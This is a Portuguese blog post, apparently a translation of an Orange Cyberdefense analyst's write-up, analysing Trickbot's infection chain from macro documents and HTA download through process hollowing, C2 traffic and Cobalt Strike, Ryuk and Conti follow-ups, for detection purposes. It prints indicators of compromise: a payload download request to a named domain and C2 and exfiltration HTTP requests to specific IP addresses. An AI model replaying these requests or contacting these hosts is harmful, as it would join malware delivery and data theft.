{"id":19515,"date":"2022-05-24T21:24:30","date_gmt":"2022-05-25T00:24:30","guid":{"rendered":"https:\/\/www.ethicalhacker.com.br\/site\/?p=19515"},"modified":"2022-05-24T21:24:30","modified_gmt":"2022-05-25T00:24:30","slug":"maware-trickbot","status":"publish","type":"post","link":"https:\/\/www.ethicalhacker.com.br\/site\/2022\/05\/basico\/maware-trickbot\/","title":{"rendered":"Maware Trickbot"},"content":{"rendered":"\n<h1 class=\"story-title\">An\u00e1lise de malware Trickbot<\/h1>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Hoje em dia, n\u00e3o estamos mais lidando com v\u00edrus do tipo caseiro e grosseiro. Malware \u00e9 uma ind\u00fastria, e os desenvolvedores profissionais fazem trocas, seja roubando o c\u00f3digo de algu\u00e9m ou colaborando deliberadamente. Os ataques s\u00e3o multicamadas hoje em dia, com diversos aplicativos de software sofisticados assumindo diferentes tarefas ao longo da cadeia de ataque, desde o comprometimento inicial at\u00e9 a exfiltra\u00e7\u00e3o ou criptografia de dados finais. As ferramentas espec\u00edficas para cada etapa s\u00e3o altamente especializadas e muitas vezes podem ser alugadas como servi\u00e7o, incluindo suporte ao cliente e modelos de assinatura para uso profissional (ab). Obviamente, isso aumentou amplamente tanto a disponibilidade quanto a efic\u00e1cia e o impacto potenciais do malware. Parece assustador?<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\"><span class=\"goog-text-highlight\">Bem, tem mas, a aparente profissionaliza\u00e7\u00e3o tamb\u00e9m tem alguns lados bons. <\/span>Um fator \u00e9 que certos m\u00f3dulos reutilizados comumente encontrados em malware podem ser usados \u200b\u200bpara identificar, rastrear e analisar software de ataque profissional. Em \u00faltima an\u00e1lise, isso significa que com experi\u00eancia suficiente, analistas habilidosos podem detectar e interromper o malware em suas trilhas, geralmente com dano m\u00ednimo ou nenhum (se os invasores conseguirem passar pelas primeiras linhas de defesa).<\/p>\n<p style=\"text-align: justify;\">Vamos ver essa mec\u00e2nica em a\u00e7\u00e3o enquanto acompanhamos um analista real do CyberSOC investigando o caso do malware apelidado de &#8220;Trickbot&#8221;.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<h2><strong><span class=\"goog-text-highlight\">Origens do Trickbot<\/span><\/strong><\/h2>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Os CyberSOCs da Orange Cyberdefense v\u00eam rastreando o malware espec\u00edfico chamado Trickbot h\u00e1 algum tempo. \u00c9 comumente atribu\u00eddo a um Ator de Amea\u00e7a espec\u00edfico, geralmente conhecido sob o nome de Wizard Spider (Crowdstrike), UNC1778 (FireEye) ou Gold Blackburn (Secureworks).<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">O Trickbot \u00e9 um Trojan popular e modular, inicialmente usado para direcionar o setor banc\u00e1rio, que tamb\u00e9m foi usado para comprometer empresas de outros setores. Ele oferece v\u00e1rios tipos de cargas \u00fateis. O Trickbot evoluiu progressivamente para ser usado como Malware-as-a-Service (MaaS) por diferentes grupos de ataque.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\"><span class=\"goog-text-highlight\">O agente da amea\u00e7a por tr\u00e1s disso \u00e9 conhecido por agir rapidamente, usando a conhecida ferramenta de p\u00f3s-explora\u00e7\u00e3o Cobalt Strike para se mover lateralmente na infraestrutura de rede da empresa e implantar ransomware como Ryuk ou Conti como est\u00e1gio final. <\/span>Como \u00e9 usado para acesso inicial, ser capaz de detectar essa amea\u00e7a o mais r\u00e1pido poss\u00edvel \u00e9 um elemento-chave do sucesso para evitar novos ataques.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Essa an\u00e1lise de amea\u00e7as se concentrar\u00e1 no agente de amea\u00e7as chamado TA551 e no uso do Trickbot como exemplo. Apresentarei como podemos realizar a detec\u00e7\u00e3o nas diferentes etapas da cadeia de morte, desde a infec\u00e7\u00e3o inicial por meio de campanhas de spam, passando para a detec\u00e7\u00e3o de ferramentas usadas pelo agente da amea\u00e7a durante o comprometimento. Tamb\u00e9m forneceremos algumas informa\u00e7\u00f5es adicionais sobre como o agente da amea\u00e7a est\u00e1 usando esse malware e a evolu\u00e7\u00e3o que levou.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<h4><strong>1<\/strong> \u2014 <strong>Acesso inicial<\/strong><\/h4>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Desde junho de 2021, o grupo TA551 come\u00e7ou a entregar o malware Trickbot usando um zip criptografado. O pretexto do e-mail imita uma informa\u00e7\u00e3o importante para diminuir a vigil\u00e2ncia do usu\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">O anexo inclui um arquivo .zip que tamb\u00e9m inclui um documento. O arquivo zip sempre usa o mesmo nome de &#8220;request.zip&#8221; ou &#8220;info.zip&#8221; e o mesmo nome para o arquivo de documento.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\"><i>NB: O Threat Actor usou o mesmo modus operandi antes\/em paralelo ao Trickbot para entregar outro malware. Observamos durante o mesmo per\u00edodo, de junho de 2021 a setembro de 2021, o uso do Bazarloader na carga de acesso inicial.<\/i><\/p>\n<p>\u00a0<\/p>\n\n\n\n<h4><strong><span><span class=\"goog-text-highlight\">2<\/span><\/span><\/strong><span><span class=\"goog-text-highlight\"> &#8211; <\/span><\/span><strong><span><span class=\"goog-text-highlight\">Execu\u00e7\u00e3o<\/span><\/span><\/strong><\/h4>\n<p>\u00a0<\/p>\n<p style=\"text-align: justify;\"><span>Quando o usu\u00e1rio abre o documento com as macros habilitadas, um arquivo HTA ser\u00e1 descartado no sistema e iniciado usando cmd.exe. O arquivo HTA \u00e9 usado para baixar a DLL do Trickbot de um servidor remoto.<\/span><\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\"><span>Este comportamento est\u00e1 relacionado ao TA551, podemos identific\u00e1-lo com o padr\u00e3o &#8220;\/bdfh\/&#8221; na requisi\u00e7\u00e3o GET.<\/span><\/p>\n<p>\u00a0<\/p>\n<blockquote>\n<p><i><span>GET \/bdfh\/M8v[..]VUb HTTP\/1.1<\/span><\/i><\/p>\n<p><i><span>Aceitar: *\/*<\/span><\/i><\/p>\n<p><i><span>Anfitri\u00e3o: wilkinstransportss.com<\/span><\/i><\/p>\n<p><i><span>Tipo de conte\u00fado: application\/octet-stream<\/span><\/i><\/p>\n<p>\u00a0<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\"><span class=\"goog-text-highlight\">NB: Padr\u00f5es relacionados ao TA551 evolu\u00edram com o tempo, desde meados de agosto de 2021, o padr\u00e3o mudou para &#8220;\/bmdff\/&#8221;. <\/span>A DLL \u00e9 registrada como um arquivo jpg para ocultar a extens\u00e3o real e tenta ser executada via regsvr32.exe. Em seguida, o Trickbot ser\u00e1 injetado em &#8220;wermgr.exe&#8221; usando t\u00e9cnicas de Process Hollowing.<\/p>\n<p>\u00a0<\/p>\n<table class=\"tr-caption-container\" style=\"width: 66.1905%; height: 315px;\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td><a href=\"https:\/\/thehackernews-com.translate.goog\/new-images\/img\/b\/R29vZ2xl\/AVvXsEjCnvY7x3RqE1KmEZUVT8bcFFS8DXQ17eelSO0F30Y3VRPKWUj7MtNZHLCcXmgMDccULW0lxnINnmqXGn4d83wHIWfXcTL86OGda3lqO_Pyk9-mSv-LQ7MRrzSNewSdvWyuz5cbG7AzxOf_-EaW8puo5PK_webIt9XmDwyF2crBy6X8cAzXlhudgQoM\/s728-e100\/windows.jpg?_x_tr_sl=auto&amp;_x_tr_tl=pt&amp;_x_tr_hl=pt\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/thehackernews.com\/new-images\/img\/b\/R29vZ2xl\/AVvXsEjCnvY7x3RqE1KmEZUVT8bcFFS8DXQ17eelSO0F30Y3VRPKWUj7MtNZHLCcXmgMDccULW0lxnINnmqXGn4d83wHIWfXcTL86OGda3lqO_Pyk9-mSv-LQ7MRrzSNewSdvWyuz5cbG7AzxOf_-EaW8puo5PK_webIt9XmDwyF2crBy6X8cAzXlhudgQoM\/s728-e100\/windows.jpg\" alt=\"\" width=\"540\" height=\"308\" border=\"0\" data-original-height=\"415\" data-original-width=\"728\" \/><\/a><\/td>\n<\/tr>\n<tr>\n<td class=\"tr-caption\" style=\"text-align: center;\">Figura 1 &#8211; Execu\u00e7\u00e3o do Trickbot na sandbox<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>\u00a0<\/h4>\n<table class=\"tr-caption-container\" style=\"width: 0%; height: 53px;\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"width: 100%;\">\u00a0<\/td>\n<\/tr>\n<tr>\n<td class=\"tr-caption\" style=\"text-align: center; width: 100%;\">\u00a0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<table class=\"tr-caption-container\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"tr-caption\">\u00a0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4><strong><span class=\"\">3<\/span><\/strong><span class=\"\"> \u2014 <\/span><strong><span class=\"\">Cole\u00e7\u00e3o<\/span><\/strong><\/h4>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Ap\u00f3s o comprometimento inicial bem-sucedido do sistema, o Trickbot pode coletar muitas informa\u00e7\u00f5es sobre seu alvo usando execut\u00e1veis \u200b\u200bleg\u00edtimos do Windows e identificar se o sistema \u00e9 membro de um dom\u00ednio do Active Directory.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Al\u00e9m disso, para essa cole\u00e7\u00e3o, o Trickbot verificar\u00e1 mais informa\u00e7\u00f5es, como a compila\u00e7\u00e3o do Windows, o endere\u00e7o IP p\u00fablico, o usu\u00e1rio que est\u00e1 executando o Trickbot e tamb\u00e9m se o sistema est\u00e1 atr\u00e1s de um firewall NAT.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">O Trickbot tamb\u00e9m \u00e9 capaz de coletar informa\u00e7\u00f5es confidenciais, como dados banc\u00e1rios ou credenciais, e extra\u00ed-las para um servidor dedicado de comando e controle (C2).<\/p>\n<p>\u00a0<\/p>\n<h4><strong>4<\/strong> &#8211; <strong>Comando e Controle<\/strong><\/h4>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Quando o sistema est\u00e1 infectado, ele pode entrar em contato com v\u00e1rios tipos de Trickbot C2. O C2 principal \u00e9 aquele com o qual o sistema da v\u00edtima se comunicar\u00e1, principalmente para obter novas instru\u00e7\u00f5es.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Todas as solicita\u00e7\u00f5es para um Trickbot C2 usam o seguinte formato:<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<blockquote>\n<p>&#8220;\/&lt;gtag&gt;\/&lt;Client_ID&gt;\/&lt;comando&gt;\/&lt;adicional<\/p>\n<p>informa\u00e7\u00f5es sobre o comando&gt;\/&#8221;<\/p>\n<p>\u00a0<\/p>\n<\/blockquote>\n<blockquote>\n<p><i>GET \/zev4\/56dLzNyzsmBH06b_W10010240.42DF9F315753F31B13F17F5E731B7787\/0\/Windows 10 x64\/1108\/XX.XX.XX.XX\/38245433F0E3D5689FEAFAEE84483106F4382CC92<\/i><\/p>\n<p><i>6571D97A519A2EF29\/0bqjxzSOQUSLPRJMQSWKDHTHKEG\/HTTP\/1.1<\/i><\/p>\n<p><i>Conex\u00e3o: Keep-Alive<\/i><\/p>\n<p><i>Agente do usu\u00e1rio: curl\/7.74.0<\/i><\/p>\n<i>Anfitri\u00e3o: 202.165.47.106<\/i><\/blockquote>\n<p>\u00a0<\/p>\n<p>Todos os dados coletados s\u00e3o enviados para um Exfiltration Trickbot C2 separado usando m\u00e9todos de solicita\u00e7\u00e3o HTTP POST. O formato da solicita\u00e7\u00e3o permanece o mesmo, mas o comando &#8220;90&#8221; \u00e9 espec\u00edfico para exfiltra\u00e7\u00e3o de dados, mais precisamente dados do sistema coletados do sistema infectado.<\/p>\n<p>\u00a0<\/p>\n<blockquote>\n<p><i>POST \/zev4\/56dLzNyzsmBH06b_W10010240.42DF9F315753F31B13F17F5E731B7787\/90\/ HTTP\/1.1<\/i><\/p>\n<p><i>Conex\u00e3o: Keep-Alive<\/i><\/p>\n<p><i>Tipo de conte\u00fado: multipart\/form-data; limite=&#8212;&#8212;Limite<\/i><\/p>\n<p><i>ary0F79C562<\/i><\/p>\n<p><i>Agente do usu\u00e1rio: Ghost<\/i><\/p>\n<p><i>Anfitri\u00e3o: 24.242.237.172:443<\/i><\/p>\n<\/blockquote>\n<p>\u00a0<\/p>\n<h2><strong>Ataques de acompanhamento: Cobalt Strike, Ryuk, Conti<\/strong><\/h2>\n<p>\u00a0<\/p>\n<p style=\"text-align: justify;\">O Cobalt Strike \u00e9 uma ferramenta comercial de acesso remoto com todos os recursos que se autodenomina um &#8220;software de simula\u00e7\u00e3o de advers\u00e1rios projetado para executar ataques direcionados e emular as a\u00e7\u00f5es p\u00f3s-explora\u00e7\u00e3o de agentes avan\u00e7ados de amea\u00e7as&#8221;. Os recursos interativos de p\u00f3s-explora\u00e7\u00e3o do Cobalt Strike cobrem toda a gama de t\u00e1ticas ATT&amp;CK, todas executadas em um \u00fanico sistema integrado.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Em nosso contexto, o Trickbot usa o processo wermgr.exe sequestrado para carregar um sinalizador Cobalt Strike na mem\u00f3ria.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">V\u00e1rios operadores de ransomware tamb\u00e9m s\u00e3o afiliados aos agentes de amea\u00e7as. O objetivo do Trickbot \u00e9 realizar o acesso inicial que antecede o ataque real de ransomware. Conti e Ryuk s\u00e3o os principais ransomwares observados no est\u00e1gio final das infec\u00e7\u00f5es por Trickbot, embora de longe n\u00e3o sejam os \u00fanicos. A Conti \u00e9 um grupo que opera um modelo de Ransomware como servi\u00e7o e est\u00e1 dispon\u00edvel para v\u00e1rios agentes de amea\u00e7as afiliados. Ryuk, por outro lado, \u00e9 um ransomware que est\u00e1 ligado diretamente ao agente da amea\u00e7a por tr\u00e1s do Trickbot.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<h2><strong>Aprendizagens chaves<\/strong><\/h2>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Os agentes de amea\u00e7as geralmente ainda usam t\u00e9cnicas b\u00e1sicas para entrar na rede, como e-mails de phishing. Aumentar a conscientiza\u00e7\u00e3o sobre phishing \u00e9 definitivamente um \u00f3timo primeiro passo para aumentar a resili\u00eancia cibern\u00e9tica. Os melhores ataques s\u00e3o, afinal, aqueles que nunca come\u00e7am.<\/p>\n<p>\u00a0<\/p>\n<p style=\"text-align: justify;\">\u00c9 claro que n\u00e3o existe prote\u00e7\u00e3o preventiva \u00e0 prova de balas no cyber. \u00c9 ainda mais importante ter a capacidade de detectar o Trickbot em um est\u00e1gio inicial. Embora a cadeia de ataque possa ser quebrada em todas as etapas ao longo do caminho, quanto mais tarde maior o risco de comprometimento total e os danos resultantes. O Trickbot \u00e9 usado por diferentes agentes de amea\u00e7as, mas a abordagem de detec\u00e7\u00e3o permanece a mesma na maioria de seus est\u00e1gios espec\u00edficos. Alguns dos indicadores de compromisso s\u00e3o explicados aqui. Mas o malware tamb\u00e9m recebe atualiza\u00e7\u00f5es.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\"><span class=\"goog-text-highlight\">Os analistas precisam ficar atentos. <\/span>Rastrear e observar um malware espec\u00edfico ou um agente de amea\u00e7a \u00e9 a chave para acompanhar sua evolu\u00e7\u00e3o, aprimoramento e manter-se atualizado sobre uma detec\u00e7\u00e3o eficiente da amea\u00e7a.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Esta \u00e9 uma hist\u00f3ria das trincheiras encontradas no Security Navigator . Mais an\u00e1lises de malware e outras coisas interessantes, incluindo contas de opera\u00e7\u00f5es de resposta a emerg\u00eancias e a vis\u00e3o de um cientista criminal sobre extors\u00e3o cibern\u00e9tica, bem como muitos fatos e n\u00fameros sobre o cen\u00e1rio de seguran\u00e7a em geral tamb\u00e9m podem ser encontrados l\u00e1. O relat\u00f3rio completo est\u00e1 dispon\u00edvel para download no site da Orange Cyberdefense, ent\u00e3o d\u00ea uma olhada. Vale a pena!<\/p>\n<p>\u00a0<\/p>\n<p><i>[1] MITRE ATT&amp;CK Cobaltstrike: <a href=\"https:\/\/attack.mitre.org\/software\/S0154\/\" target=\"_blank\" rel=\"noopener\">https:\/\/attack.mitre.org\/software\/S0154\/<\/a><\/i><\/p>\n<p>\u00a0<\/p>\n<p>Este artigo \u00e9 uma tradu\u00e7\u00e3o de: <a href=\"https:\/\/thehackernews.com\/2022\/05\/malware-analysis-trickbot.html\" target=\"_blank\" rel=\"noopener\">https:\/\/thehackernews.com\/2022\/05\/malware-analysis-trickbot.html\u00a0<\/a> (Autor: <i><strong><span class=\"goog-text-highlight\">Florian Goutin<\/span><\/strong><span class=\"goog-text-highlight\"> , analista de CyberSOC da Orange Cyberdefense)<\/span><\/i><\/p>\n","protected":false},"excerpt":{"rendered":"<p>An\u00e1lise de malware Trickbot \u00a0 Hoje em dia, n\u00e3o estamos mais lidando com v\u00edrus do tipo caseiro e grosseiro. Malware \u00e9 uma ind\u00fastria, e os desenvolvedores profissionais fazem trocas, seja roubando o c\u00f3digo de algu\u00e9m ou colaborando deliberadamente. Os ataques s\u00e3o multicamadas hoje em dia, com diversos aplicativos de software sofisticados assumindo diferentes tarefas ao [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":19523,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[89,100,105],"tags":[],"class_list":["post-19515","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-basico","category-diversos","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/19515","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/comments?post=19515"}],"version-history":[{"count":13,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/19515\/revisions"}],"predecessor-version":[{"id":19529,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/19515\/revisions\/19529"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/media\/19523"}],"wp:attachment":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/media?parent=19515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/categories?post=19515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/tags?post=19515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}